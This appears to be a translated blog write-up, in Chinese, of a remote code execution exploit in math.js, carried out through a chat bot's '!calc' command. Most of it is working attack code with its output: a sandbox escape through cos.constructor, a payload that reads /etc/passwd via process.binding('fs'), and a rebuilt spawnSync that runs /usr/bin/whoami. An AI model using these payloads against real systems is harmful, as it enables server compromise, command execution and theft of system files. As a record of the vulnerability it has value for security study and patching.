利用 math.js 中的远程代码执行漏洞

> !calc cosResult: function
> !calc evalResult: function
> !calc eval("x => x")Error: Value expected (char 3)
> !calc eval("console.log")Error: Undefined symbol console
> !calc eval("return 1")Result: 1

eval("code")new Function("code")setTimeout("code", timeout)setInterval("code", interval)

例如，Function("return 1")可以替换为Math.floor.constructor("return 1"). 因此，要评估return 1，我们可以使用Math.floor.constructor("return 1")()。

> !calc cos.constructor("return 1")()Result: 1

> !calc cos.constructor("return require")()Error: require is not defined

为简洁起见，我们将跳过!calc cos.constructor("code")包装器而是粘贴相关的 JS 代码。

> buffer = Buffer.allocUnsafe(8192); process.binding('fs').read(process.binding('fs').open('/etc/passwd', 0, 0600), buffer, 0, 4096); return bufferroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/sh<more users...>

// Source: https://github.com/nodejs/node/blob/master/lib/child_process.js// Defines spawn_sync and normalizeSpawnArguments (without error handling). These are internal variables.spawn_sync = process.binding('spawn_sync'); normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};}// Defines spawnSync, the function that will do the actual spawningspawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}console.log(a);var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!=='buffer')for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + 'spawnSync '+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;}

> return spawnSync('/usr/bin/whoami');{  "status": 0,  "signal": null,  "output": [null, u15104, ],  "pid": 100,  "stdout": u15104,  "stderr":}